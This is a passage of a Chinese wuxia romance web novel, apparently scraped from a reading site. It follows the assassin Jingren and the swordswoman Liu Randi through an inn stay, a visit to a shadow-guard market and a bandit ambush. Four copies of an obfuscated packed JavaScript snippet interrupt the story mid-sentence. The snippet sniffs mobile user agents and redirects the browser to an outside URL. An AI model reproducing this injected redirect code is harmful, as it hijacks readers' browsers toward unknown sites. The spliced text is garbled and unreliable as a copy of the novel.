“你这是干什么?”柳染堤哭笑不得,压住她手臂,阻止下一步的动作。 “放开我。”惊刃语气冷硬。 那双眼睛里写得分明: 【只有死人,才守得住秘密。】 她要将主子的秘密,连同自己的命一起,埋进土里。 柳染堤低头望着她,沉默良久,只吐出一句话:“那就只能…得罪了。” 。 夕阳西下,药铺中的小药童托着脸,脑袋一下一下向下点着,昏昏欲睡。 梦中她正咬着一块肥香的红烧肉,嚼得满脸油光,忽听耳畔传来一道幽幽的女声: “日头爬到屋脊,药炉子都熄了三回了,你怎还在这儿打盹呀?” 小药童猛地一惊,身子一抖,从凳上跳了起来,几乎撞翻了案上的铜秤:“对、师母对不起!我不是故意睡着的!” 她手忙脚乱地揉了揉眼,定睛一看,才发现外头霞光沉沉,太阳分明是快落山了。 而面前站的,也不是白发苍苍的师母奶奶,而是两位唇红齿白的姑娘。 甚至,两个都是熟面孔。 打听“渡生莲”的姐姐笑脸盈盈,而打听“打听渡生莲之人”的姐姐却黑着脸,面色不善地站在身后。 小药童缩了缩脖子。 “喏,”柳染堤将木钥往她手中一塞,笑意盎然,“多谢你将木屋借我,我已收拾干净了。” 确实很干净,尸体全被她丢下山崖了。 “劳烦帮我开两间房,送些清水纱布到门口,”柳染堤指指身后,“这位姑娘受伤了,得收拾下伤口。” 惊刃瞪着她。 柳染堤为了不让她自尽,不仅把她的东西统统收缴走,还点了她好几处穴位,封了她的内息。 如今惊刃气息不稳,手腕发颤,别说拔刀自尽,就是喝碗水,都得小心会不会洒得一身。 小药童挠了挠头,有些为难:“姐姐,不好意思呀。” “临近论武大会,镇上的客栈基本都住满了,我们药舍之中,也只剩最后一间静室了。” 惊刃立刻道:“我睡院子里。” 柳染堤白了她一眼:“是你付银子,还是我付银子?你说了算还是我说了算?” 惊刃想了想自己包里那可怜巴巴的三枚铜板,默默将话咽了回去。 一间静室就一间静室,柳染堤在惊刃沉默的目光中,笑眯眯地付了账,推着她走上楼去。 “小刺客你身子还未好完全,毒素尚未完全清除,于情于理都肯定是要睡床的。” 柳染堤煞有其事,道:“而我身娇体弱、肩不能提手不能扛,自然也是要睡床的。” 说完,她总结了一句:“所以,我俩都是要睡床的。” 惊刃:“……” 该说不说,惊刃已经习惯了与此人的相处方法:无论柳染堤说什么话,只要通通当做听不到就好。 于是她跟在对方身后踏入静室,目光一扫,寻了个角落,抱臂一靠,完美地和阴影融为一体。 柳染堤脱去外袍,正想招呼小刺客过来坐,结果就看到某人藏在阴影里装蘑菇。 柳染堤:“……你在干什么?” 惊刃答:“休息。” 柳染堤匪夷所思:“有床有被子有椅子有美人不坐,为何要靠墙站着休息?” 惊刃更加匪夷所思:“我从来如此。” 柳染堤:“……” 真令人头疼啊。 柳染堤斜坐床沿,亵衣拢着身形,双腿交叠,玲珑的小腿在空中晃着,脚踝处染着薄薄一点红。 她一手拢了拢发,一手拨亮灯火,朝惊刃招招手:“过来,我给你上药。 “我自己来。”惊刃皱眉。 “你手颤成那样,还能自己抹药?”柳染堤道,“再不过来,我就把另外两个穴位也给封了。” 惊刃:“……” 她不情不愿地从阴影里挪出来,又慢吞吞挪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372415|183989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到床沿,坐在靠近边缘的地方。 她解下衣领环扣,又散开半边亵衣,露出锁骨下的伤口。 柳染堤从旁边凑过来。 之前束着时不觉得,散下才知柳染堤的头发很长,如流水、如绸缎,柔柔地淌过肩头。 “你坐这么边,不怕摔下去?” 柳染堤以指尖挖出一点药膏,触及锁骨下的伤口,而后将其缓缓推开。 伤口深可见骨,直到现在还未完全结痂,尽管柳染堤动作已经很轻,却仍旧溢出些血丝。 看都觉得很疼。 惊刃却没什么表情,默不作声地等她将药膏涂完,再将衣领扣好。 柳染堤垂眉坐在旁边,她忽地转头,漆黑的眼睛望向惊刃,笑了一下。 “小刺客,我们打个商量?” 她倾过身子来:“你不是要杀我么,那更当追着我走,寸步不离。” 惊刃一怔,先前的疼痛她不以为意,此刻柳染堤靠得近了,抹过药的地方却忽地烫起来。 热气涌进了骨子里,簇簇燃着火,搅动着思绪,一缕一缕,将她绑住、缠紧。 惊刃想说些什么。 指腹压上唇边,止住了她声音。 她气息柔软,几乎触及鼻尖:“等你身子骨养得好些,兴许说不定能有机会呢?” 惊刃身上薄薄出了一层汗,不由得将身下被褥握得更紧:“……机会?” “嗯。” 柳染堤收回手,点在自己唇上,像是一个“嘘”的手势:“只要你一直跟着我。” “说不定,就能等到一个我放松警惕,切开我喉咙的机会。” 。 夜色已深,静室里寂然无声。 无论柳染堤如何诱骗、哄劝、威胁,惊刃岿然不动,往角落阴影里一靠。 一息,两息,在第三息之后,她的呼吸逐渐绵长、平稳,竟是已经睡着了。 她太累了。 奔行千里,搏命饮毒,旧伤未愈又添新伤,终究是撑到了极限。 柳染堤叹口气,为她披上一层薄薄的毯。 站起身时,她手中多了一物——正是被惊刃藏在怀中,属于机关师的那枚木簪。 惊刃有一点猜的很对。 柳染堤没杀她,除开最开始那一点少的可怜的,如同随手救起一只落水蝴蝶,救下被蛛网囚困小虫般,无足痛痒的“怜悯”。 真正的原因,确实是这枚木簪。 柳染堤点燃一息烛火,坐到桌前,四周极静,只余了几声火烛燃烧的细微“噼啪”声, 木簪模样寻常,以木枝雕琢而成,无纹无饰,只在尾部镶了一粒殷红如血的玉石。 艳而红,似一只睁开的眼。 柳染堤不敢贸然试探机关,只是旋转木簪,借烛火细细端倪。 铜镜之中,映出她的面容。 忽而,那面容渐渐染上血色,眼、耳、口、鼻皆溢出鲜血,无声无息地淌,像是在哭,又像是在笑。 “仇……” 那双眼睛被血淹了个透,‘她’张着嘴,嘶嘶气音和鲜血一起,滴滴答答向外涌。 “我…恨……” 柳染堤望着铜镜,与血泪中的自己对视良久,而后,缓缓闭上眼睛。 再睁眼时,一切异象俱散,烛火明明,镜面里只有一张平静如常的脸。 柳染堤转着木簪,极浅地笑了一下,于夜色之中,轻声开口:“……不急。” “一个个来。” 5. 眼儿媚 3 惊刃醒来时,发现自己在床上。 床榻太软,被褥太暖,窗外还有鸟雀嘀嘀,怪不得她睡得一点都不舒服。 还是黑暗角落比较舒心自在。 她换衣洗漱,没找到佩剑,只在桌上寻到了一张柳染堤留下来的纸条: 【我在隔壁喝茶,听闻早点包子特别特别好吃,醒了速来,不然等着饿肚子吧。】 惊刃:“……” 药馆隔壁是一家客栈,此时正逢早茶时分,里头热热闹闹,人头攒动。 小二忙得脚不沾地,见门口来了一位黑衣女子,连忙迎上前:“这位客官,吃饭还是住店呀?” 黑衣女子还未回答,小二却忽地被人拽住手臂,转头见掌柜满头大汗,冲她挤眉弄眼。 掌柜搓着手,一脸讨好:“这…咳咳,暗卫大人,我们也只是做点小本生意,您……” “放心,我不会在这动手,”惊刃说着,添了一句,“只是来喝茶罢了。” 掌柜松口气,恭敬将惊刃请进来。她目光一扫,很快便找到了那人。 柳染堤一身白衣,靠着椅背,指间掂着一小巧瓷杯,笑得张扬又肆意。 她生得太过好看,眉目如画,明媚灿烂,有不少食客都在偷偷往这边打量。 惊刃行至身旁。 还未开口,柳染堤便已拉开身侧的椅子:“坐,你再来晚一些,早点可就要没了。” 惊刃道:“我站着就好。” 话未说完,惊刃被一把扯下,按在椅上,怀里旋即被塞进两个热腾腾的肉包子。 惊刃:“……” “趁热吃,”柳染堤道,“听闻是掌柜姑娘亲自包的,皮薄馅大,可好吃了。” 与柳染堤同一桌坐着的,是一个圆头、圆脸、圆鼻、圆眼的小姑娘,像只机灵的小老鼠。 她目光圆溜溜地在两人之间转了一圈,很识趣地没有询问什么。 惊刃认得这人:“万事通?” “我们姐妹三人长得太像,您认错人也不奇怪,”小姑娘笑道,“我是百事通,万事通是我长姐。” 还有个二姐,名为千事通。 人如其名,万千百三姐妹游走江湖,做的便是打听消息、贩卖情报的营生,价廉量足,童叟无欺。 柳染堤拎起茶壶,熟稔地给惊刃倒了一杯,道:“你们两人认识?” 百事通默不作声。 惊刃道:“认识。” 百事通这才笑道:“嗯,惊小姐从我在买过几次消息,算是熟客了。” 其实两人认识也不足为奇,毕竟这江湖上,就没几个人是三姐妹不认识的。 柳染堤却委屈上了,一撇嘴,眼泪都快要掉下来:“喂喂,你说这像话吗?” 惊刃:“……” 有种不详的预感。 “我们这几日亲密无间、同床共枕,”柳染堤泫然欲泣,“你连我亵衣什么颜色都清楚,我却连你姓甚名谁都不知道,呜呜呜。” 惊刃:“…………” 嘶。 百事通眼睛瞪得可圆,耳朵竖得老高,凑过来,一脸“我要发财了”的表情。 惊刃喝了口茶:“惊刃。” 柳染堤讶异地看她,晃了晃手中的佩剑:“你给自己佩剑,也起这个名?” 惊刃道:“不,剑名才是我的名。” 她刚被容府买下来时,还没有名字,旁人要么唤她的称号“影煞”,要么唤她“十九”。 第一次领任务时,主子命她去兵库取剑。管事翻了许久,从角落里翻出一把残破旧剑。 剑匣蒙灰,铁锈斑斑,用清水一冲,露出两个歪歪扭扭,宛若狗爬的字迹:“惊刃。” 约莫是庄中小孩贪玩刻下的,既不英气,也不端正,落在剑上都不算是个好名字。 容雅嫌弃地打量几眼,嗤笑道:“反正也用不久,你就叫惊刃罢。” 这便成了她的名字。 “咳咳,”百事通忍不住开口,小心翼翼,“柳小姐,您和这位目前的关系……卖吗?” 柳染堤一笑:“我考虑考虑,这可是天大的秘密,你愿意出多少?” 百事通咬了咬牙:“十两银子,我可是下血本了。” “成交。”柳染堤指了指身旁的人,“她是来刺杀我的,没了。” 百事通:“…………” 奸商,被坑了啊啊啊啊! 她幽怨地开始掏钱,柳染堤敲了敲桌,又道:“我还有一条关于‘天下第一’的消息,要买吗?” “真跟天下第一有关?”百事通眼睛更亮,“我买!但你得先说,我再估价。” “那是自然。”柳染堤慢条斯理道,“论武大会在即,听说‘天下第一’也会现身,似乎还有夺冠之意。” 百事通眼睛都要发光了:“当真?” “真的不能再真,”柳染堤道,“她若没出现在论武大会,我把头摘下来送你当球踢。” 旁听的惊刃:“……” 百事通喜不自胜,当即掏出一锭银子递给柳染堤,背起木匣,千恩万谢地跑了。 送走百事通,柳染堤转头看向惊刃,这才发现她面前的两个包子、三笼糕点早已不见踪影。 惊刃坐姿笔挺,面色如常。 不知道为什么,柳染堤目光里带了几分谴责之意,当然不是针对惊刃的。 她揉了一把惊刃的头发,声音里莫名能听出些‘慈爱’:“瞧你瘦的,就该吃多点。” 惊刃:“?” 。 吃饱喝足,又从百事通手里赚了银子,柳染堤心情大好,拉着惊刃去集市置办行头。 她甚至把佩刀还了回去。 当然,毒药、暗器、蒙汗药等物,柳染堤是不会轻易还回去的,问就是“等你伤好了再说”。 惊刃自她手中接过“惊刃”,犹豫片刻,也收下了柳染堤硬要塞过来,说是给她买糖的二两银子。 “惊刃”刀鞘通体漆黑,没有任何纹路,只打着几个生锈铜环,像块弃于炉灰旁的残缺炭木。 有人嫌它太旧,有人笑它太钝,说这刀切不破血肉也斩不断骨头,着实不是一把趁手兵器。 惊刃不言,只是切下一颗又一颗企图妄言的头颅,刺穿一个又一个尚在起伏的胸膛。 本该如此,就该如此。 惊刃垂下眉,五指抚摸着刀鞘。长发自耳际垂落,遮掩了浅色眼瞳,遮掩了她的神情。 她握紧刀鞘,快步跟上对方。 柳染堤此人,仗着自己武功高强,做事向来随心所欲,喜好无常。 她上一秒还在好奇地看着师傅摊煎饼,下一刻又会出现在小孩群里,给断了根腿的蛐蛐加油鼓劲。 第五次跟丢后,惊刃微微叹息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372416|183989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她尚有六七分功力时,追踪天下第一的线索都十分辛苦,更别提现在这副疲弱身子。 惊刃目光环顾,停在一间玉器铺前,她避开挑拣簪玉的客人,掀开一道隐秘金帘。 金帘后是个堆放着些器具,落着灰尘的杂物间,惊刃摸了摸墙壁,“哧”,刀刃没入砖缝。 暗门悄然开启。 墙壁之后,是一道长长的暗道,无烛、无声,寒气自缝隙渗出,似有无形之物牵引向下。 惊刃扶着石壁缓步而行,途中歇了两次,终于瞥见一丝幽幽的烛火。 守门人倚门而坐,眼睛与她手中的提灯一同,燃烧着某种诡异,美丽的青蓝微光。 幽暗之中,隐约能望见高悬于青铜门之上,如同咒枷般的古老文字: 【无字诏】 “如此短的暗道,您却走了足足半柱香,”守门人开口道,“十几日不见,影煞大人怎亏空至此?” 她语气中所带的是讥讽、困惑、还是怜悯?惊刃分辨不出,也不在乎。 她道:“我要两副人/皮面具。” 守门人侧身让道,青铜门悄然开启。 她刚一踏入,数十名或立或坐的暗卫齐刷刷抬头,目光尽数落在她身上。 ‘无字诏’,无名无号,专为各大势力提供暗卫死士的影门密所,也是惊刃的出身之地。 惊刃耐心等在门口。 片刻后,一名唇脂馥郁、十指染蔻的的女子袅袅而来,递过来两幅面具:一副容颜清丽,另一副则稍冷峻些。 “暗器、毒针可要带些?”她笑问。 惊刃摇头:“没钱。” 柳染堤给了二两银子,刚好可以用来买两幅面具。惊刃算的很清楚。 其它暗卫窃窃私语,无非是在议论她堂堂“影煞”,三年擂台魁首,身价近万金,竟落得连暗器都买不起的地步。 怎会如此,真是太惨了! 就连守门人也递来了同情的目光。 惊刃波澜不惊,她收起面具,转身离开。只是刚掀开金帘—— 有人早就在外头等着了。 小团扇在她鼻尖轻轻一晃,几下微风迎面扑来,拂过额发,带着暖意与香气,撩得心头微痒。 惊刃微微闭了闭眼,再睁开时,鬓发间已多了一支漂亮的青玉簪子。 惊刃:“……” “我可是挑了好久的,”柳染堤颇有兴致,“真好看,我去给你寻面铜镜来?” 惊刃余光一撇,金丝环成的花瓣下,坠着几串琉璃珠子,正细细晃在额侧。 “不必。”惊刃道。 “为什么?”柳染堤道,“不喜欢么?” 惊刃道:“杀人时不方便。” 柳染堤道:“你要杀的人是我,可你又杀不了我,那不是刚好能戴着?” 惊刃:“…………” 她的逻辑竟然,无懈可击。 就在惊刃陷入逻辑陷阱之时,柳染堤步伐一转,团扇一抬,挑起那道金丝帘子。 她踏入室内,探头四望。 不多时,视线落在已经闭合的暗门处:“原来这儿,有个‘无字诏’的分部。” 柳染堤晃着扇,眉眼弯弯,冲惊刃甜甜一笑,惊刃总觉得这笑里透着几分不怀好意。 果不其然,团扇一转,戳了戳惊刃的肩膀:“小刺客,不带我去参观一下?” 6. 眼儿媚 4 无字诏的那扇青铜门,看着威风八面,推起来却沉得要命。 守门人刚刚关上门,还没喘两口气,耳边又传来一前一后的脚步声。 一轻快,一微沉, 不多时便来到门口。 守门人定眼一瞧:嚯,这么快就回来了?? 惊刃默默后退半步,藏进暗道的阴影里,假装自己不存在。 守门人放下提灯,鞠了一躬,道:“这位贵客,可有青傩令牌?” 柳染堤摇摇头:“ 没有。” 青铜门再次开启,门后幽暗宽阔,数十名黑衣人或站或坐,身姿干练、气势凌然,空中浮动着一股凝滞的杀气。 见两人进门,几道目光悄然掠来。 然后,全愣住了。 前头那位娇贵的白衣姑娘是生面孔,但“影煞”那张脸,她们可是全认得的。 只不过那张永远死气沉沉的面皮旁,很是突兀地多了一枚青玉簪子。 光泽流转、分外惹眼。 艳丽女子也没料到惊刃这么快就折返,微怔片刻,旋即换上待客笑容,迎了上来。 “贵客面生,不知如何称呼?”她笑问。 “姓柳。”柳染堤道,“久仰‘无字诏’大名,今日得闲,进来看看。” “柳贵客这边请。” 女子手腕一翻,拿出一块铜制薄片,只见暗卫分“影君、影臣、影佐、影使”四等,价格自一百两升至八千两。 君臣佐使,倒是挺好记的。 女子接着道:“倘若需要些其它譬如出谋划策、制毒、床事等技能,价格会略有些变动。” 柳染堤接过铜片,兴致缺缺地瞥了几眼,正要还回去,指尖忽然一顿: “只有四等,那‘影煞’又是什么?” 女子摩挲着手中铜片,略一迟疑,终还是笑道:“您问得巧,我们这儿暂时没有‘影煞’。” 每名无字诏的暗卫,都得进入青傩母布下的‘九劫八十一障’。 每一障为一梦,梦中杀敌、杀兽、杀亲、杀己、杀无辜,反复百千遍。 “唯有杀出八十一障者,方得‘影煞’为名号。二十年来只出过一人,身价万金,早已被买走了。” 柳染堤若有所思,道:“不知是哪门有此慧眼,得影煞为之助力,定是惜才之人。 屋内气息倏然一静。 柳染堤确实还不知道,她身后站着的惊刃,便是传说中的影煞。 只不过堂堂影煞,如今混得颇为“落魄”,没刀也没钱,连暗道都得走上半柱香。 无字诏的人一向识趣,什么话不该说,什么事不该问,心中自有分寸。 女子神情未变,只笑道:“影煞确实难得,不过也不怕您笑话,外头确实有些添油加醋的传言。” “市井传得邪乎,有的说影煞性情乖张,不受驱使;有的说她杀心太重,有朝一日终会弑主。总归得忌惮些。” 柳染堤道:“用人不疑,疑人不用。若事事忌惮,处处提防,又何苦留她在侧。” 女子含笑点头:“柳贵客真是通透之人。不知您此次前来,是需要怎样的暗卫?” “我没打算买暗卫。”柳染堤顺手将铜片还回,“真要说,我身后不就有一个么。” 惊刃自进门便一直沉默着,此时终于开口,说了第一句话:“我并非效忠于你。” 柳染堤道:“不是也无妨,我正在努力地撬着墙角。你有你的坚持,我有我的奋斗。” 惊刃:“…………” 女子轻咳一声,识趣地不再多说,搬来一堆暗器:“那不如看看这些?毒针、袖箭,皆是上等工艺。” 柳染堤这才来了点兴致。 她买了些细针,还有整整十二卷的千机银丝,当着惊刃的面,往手腕上缠去。 银丝牵在指间,一圈又一圈,紧密缠绕在腕骨之上,映得肌肤如珠玉般莹润。 柳染堤很满意,扯下衣袖挡好。 两人原路折返,暗道依旧长而阴冷,柳染堤走在前面,惊刃跟着她。 奇怪的是,柳染堤步子慢悠悠的。 她每走一会还会停下来,欣赏片刻她新买的暗器,欣赏够了才会继续走。 走出珠宝铺之时,日轮依旧高悬于空,阳光穿透簪上垂落的琉璃,折出细碎的光点。 刺得惊刃有些睁不开眼睛。 她摘下簪子想还给对方,柳染堤却笑着推脱:“喜欢便留着,不喜欢便卖了换点好吃的。” 惊刃一时不知道该怎么办,柳染堤倒是忽地想起什么,道:“小刺客,你身价多少呀?” “方才我就有点好奇了,只是在诏中说不太好,”柳染堤转着团扇,“要不要三千两银子?” 惊刃道:“不能说。” 柳染堤略有些失望:“好吧。” 她惯会扮可怜,装委屈,惊刃心里该清楚才是,但握着刀柄的手紧了紧,她听见自己喉咙中传出个干哑的嗓音: “不过……” 惊刃道:“比三千,略高一点。” 柳染堤“唔”了一声,团扇轻敲下巴:“那就糟了。我这辈子最有钱的时候,身上也就只有三千两,扒光也翻不出更多。” 她背着手,向后踮着步子。 浑不在意身后是平地亦或是山崖,一步,两步,浸在满街明亮的日色里。 “总觉得,有些可惜啊。” 此时炊烟初起,孩童喧哗,她的笑音中带着糖莲与炒栗子的香,热闹得像一出不真实的梦。 柳染堤笑着道:“可惜我没早些下山,不然就能早些遇见你了。” 轻飘飘的,蝴蝶扇动一样轻盈的一句话,沉得叫惊刃几乎拿不稳手中的佩剑。 她……在说什么? 剑柄压得虎口处泛疼,惊刃未能注意到那一丝深藏其中的,轻不可察的颤抖。 她不知如何将簪子还给对方,也不知该如何回复这句话,无字诏从未教导过这些。 只愣神的功夫,柳染堤又不见了。 这家伙轻功了得,步子看着慢腾腾,一眨眼便跑到了二十步开外的马厩旁。 几匹马正低头饮水,日头晒得马鬃发亮,仿佛浮动着一层金光。 惊刃走过去时,柳染堤正在烦恼:“价格差得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16372417|183989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些多,是买马车还是马匹好呢?” 团扇转了转,点在惊刃的额心:“小刺客,你会骑马吗?” “都会。”惊刃道,“但……” “行了,不用说了,”柳染堤截住她,“你对你主子死心塌地,你是不会同我骑马的。” 她拭着眼角,泫然欲泣:“没办法,你的主子又美又贴心武功又强大又非常爱你,我比不上。” 惊刃:“……” 最终,柳染堤买了一辆马车。 马车外头看着平平无奇,内里却妥帖讲究,厚褥柔垫铺得周到,暗格里藏了几瓶药、几包干粮,还有些包得精巧的点心。 她大手一挥,又雇了一个驾车人。 妇人晒得黝黑,双臂壮实有力,头上缠着帕子,笑起来露出一口白牙:“姑娘们要去哪儿?” “直往南下,去绝机山脚下。”柳染堤翻着车帘笑道,“听说那边有场什么大会,热闹得很。” 惊刃抱着剑鞘,有些疑惑。 她道:“不去论武大会?” 论武大会是江湖盛事之一,早些年由鹤观山主办,如今则交由天衡台一手操持。诸派汇武,各路论道,历来设于中原腹地。 她们此刻位于西北山岭,若是想往中原去,斜着往东南方向走会更快。 柳染堤放下帘子,冲她眨了眨眼。 她笑得娇俏:“我还以为小刺客你对我漠不关心,没想到还记得我要去哪,我好感动。” 惊刃:“…………” 她就不该多嘴。 柳染堤往后一靠,身子陷在软垫里头,拢着十指,舒服地合上眼睛。 她闭目养神的模样,让惊刃莫名想起了容府里养的一只,唤做“糯米”的白猫。 在漫长的、看不见尽头的等待之中,她每天都会抱剑坐在树下,看着日轮升起、沉没,看着槐叶变黄、飘落、又抽出嫩绿的新芽。 院门始终未开。 但偶尔,那只猫儿会现身。 雪白,娇贵,懒洋洋地踩着屋上青瓦。有时只是飞也似地掠过;有时会轻蔑地瞥她一眼;再有时,会跳下来,用软爪挠她的靴尖。 唯一不同的是,那只猫儿傲得很,从不主动靠近人,柳染堤倒是恰恰相反。 柳染堤不知道惊刃在偷摸着拿她和猫做比较,答道:“论武大会确实要去,但是不急。” “我不太爱使剑,”她思忖道,“可要上台比武,终归得备把兵器才是。” 惊刃忽地捕捉到什么蛛丝马迹,身子前倾,心跳微微加快一分。 不好。 自七年前江湖震荡、各派更替之后,嶂云庄趁乱而起,一步步吞并诸多兵铺铁局,几乎垄断了整个武林的刀剑铸造与交易。 如今但凡练武之人,不论名门正道、邪派异门,甚至独行游侠,手中兵器十有七八皆出自嶂云庄。 而柳染堤口中的“什么大会”,若她没猜错,便是嶂云庄一年一度的铸剑大会。 而今年的负责人,正是…… 容雅。 她的主子。 惊刃指节微紧,整个人几乎僵住。 7. 钗边语 1 在那一刹那,惊刃迅速将这几日与柳染堤相处的种种细节,说过的话、递过的物、每个眼神与动作,都一一翻检出来。 每一个细节她都揪住不放,不断拆解推敲,反复思量,几乎要从中撕扯出什么蛛丝马迹来。 最终,惊刃得出了一个勉强令自己安心的结论: 【柳染堤应该还不知道。】 不知道嶂云庄与自己的联系,更不知道嶂云庄的三女儿容雅,便是她的主子。 柳染堤只是单纯地需要一把趁手兵器,而嶂云庄恰好是江湖第一剑庄,仅此而已。 话虽如此,惊刃内心还是有些不安。 她说不清,这股不安究竟从何而来。是如今内力薄弱、是任务尚未完成,是怕主子失望,亦或是其它理由? 理不清,惊刃只觉得头疼。 她从杂乱的思绪中抽出神,一抬头,柳染堤裹着个狐毛毯子,已经睡着了。 惊刃:“……” 柳染堤睡得很沉,呼吸绵长,衣领下是柔软的脖颈,碎发微勾,在皮肤上弯出一弧轻柔的影。 她倒是真不害怕,在睡梦中被一刀抹了脖子。 惊刃叹口气,转头望向窗外。山风卷着草木之息拂来,已略显凉意。 驾车人的话不多,做起事来却踏实稳重,这几日都没怎么歇息,一直在赶路。 她驾车多年,对这一带地形极为熟稔。在征得柳染堤同意后,决定改走一条穿林而过的近路。 只要顺利,能将八日路程压至四日左右。 柳染堤不太喜欢坐车,这两日间吃了睡,睡了吃,总是一副有些困倦的模样,连逗弄惊刃的心思都没了。 第三日午后,马车驶入山林深处。 两侧树影重重,浓荫遮天。风中带着些潮湿腐叶的气息,拂面而来竟有几分阴冷。 惊刃挑开帘子看了眼外头,眉头微蹙,道:“这林子太静了。” 驾车人在前头道:“山路僻静是常事。姑娘们莫担心,前头翻过两道坡就能看见山脚城镇,到时便可歇脚。” 惊刃却始终觉得哪里不对。 风声盖过了什么响动,草木晃动得太过规律,甚至连马匹的鼻息,都有些太过急促。 她掀开车帘,探身而出。 驾车人吓了一跳,忙往旁边挪了挪,给她让出些空间。 惊刃按上刀柄,环顾林间。 柳染堤在出发前替她解了穴位,这两日她打坐调息,功力才堪堪回了两成,还远不足巅峰。 她问:“这林子可曾有过山匪?” 驾车人想了想,道:“往年是有几伙不长眼的地痞流寇,但嶂云庄一向会提前派人清剿。” “尤其是铸剑大会将近的时候,道上护卫比猎户都多。别说人了,连蛇虫都不敢往这路上凑。” 她笑呵呵道:“这条路我走过不下三十回,从来没出过事。” 惊刃拧起眉心。 她们这一路上,根本没有遇到任何嶂云庄的护卫,今年不知因何缘故,本家没有抽调人手出来。 纵然内力微薄、伤未痊愈,她依旧是三百场擂台全胜的魁首,踏破踏八十一障而出的影煞。 每一寸骨血都在杀戮中淬炼至精,对敌意与伏击的感知,早已渗入本能。 惊刃知道,林中藏着人。 不是武门正道,也非暗卫之流,应该是些饿急了眼、乱兵无纪的草寇流匪。 思索间,林风骤起,一道破空声猛然袭来:“嗖——!” 惊刃反手拔剑,寒光一闪。迎面而来的羽箭断作两截,箭杆斜坠,钉入她足边的草叶。 驾车人一声惊呼,缰绳一抖,马儿长嘶着扬起前蹄,整辆马车被拽得侧倾了一瞬。 林中骤然跃出十数道黑影,皆是布衣蓬头、蒙面遮脸,手持刀棍弯刃,脚步杂乱却凶相毕露,直扑马车而来。 驾车人惊慌失措:“这,这是!” 惊刃已飞身掠下,落地无声,刀光一转,劈开两侧袭来的长枪,火星四溅。 “快上,车里肯定有好货!”匪头中气十足地吼,“那白衣姑娘可就只有一个护卫!” 惊刃转头,无光瞳仁落在她身上。 “杀了她——!” 匪头话音未落,喉头已被冷刃一抹,血线未及喷出,便仰面倒地。 另几人惊骇欲逃,却已被剑柄猛击腹部,重重撞上身后树干,身骨碎裂,昏厥不醒。 断叶翻飞,哀嚎顿起。 流匪也没见过此等果决可怖之人,无一招虚式,无一剑落空。 步步紧逼,出手皆是杀招。 她们原本仗着人多气盛,自信满满,如今却步步惊退,阵形已然溃散。 惊刃一连斩杀数人,面色不改,心中却在暗自盘算剩余的体力。 她心里清楚,自己内息浮散,动作虽快却透着迟滞,若再缠斗下去,局势就可能失控。 惊刃咬紧牙关,逼出残余内力,招招狠辣如风,试图以气势强压对方。 刀锋横斩斜挑,一式快过一式。 惊刃横刀劈开一人双刀,回迎向另一个匪徒劈下来的重刃。 刀剑相撞,劲力震颤。 重刃沉猛,惊刃只觉掌中长剑颤了颤,耳旁响起一道极细的声响。 她眼底骤然收缩,不可置信地感受着,颤意自剑脊一路窜入掌心。 明亮刃面上,蓦地出现一道裂痕,而后,裂痕如蛛网般一层层扩散,横断刀身。 “嚓——” 一声脆响。 剑身自中间崩断,碎片炸散,半截剑身脱手飞出,嗡鸣着钉入数丈外的树干。 只余半柄残骨,仍死死握在她掌中。 惊刃呼吸停了一滞。 身侧又有双匪扑来,她果断俯身,横扫一腿将一人撂倒,又抬臂硬接另一人的刺击。 这是主子赐予她的剑,惊刃不敢让它再断一次,哪怕是仅余的一半。 于是刀锋砍入手臂,殷红迸溅。 袖边被鲜血浸透,深可见骨,惊刃面无表情,猛地反手一肘,将来敌震开半步,踢出一脚将其撞入树干。 下一瞬,身后寒意袭来。 耳畔风声乍起,一个身形瘦敏的匪徒已然逼近身侧,狞笑着挥刀砍来。 惊刃呼吸绷紧,一息间思考了良多计策,最终只能偏开要害,让刀砍在并不致命的肩胛上。 “铮”一声轻响。 刀刃没有如预想般没入血肉,而是稳稳地,卡在一柄银白扇骨之间。 敌人虎口迸血,被震得连退三步。 玉流苏柔柔摇晃,流转生光。扇上墨梅舒展,寥寥几笔,风流自在。 长发拂过她面侧,耳旁传来极轻的,散落的一声叹:“怎么不喊我?” 惊刃仰头望去, 恰好对方也低头看她。 柳染堤一身白衣,青丝垂肩,她踩着一片飘零的叶,于阴暗的林中,如一轮高悬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 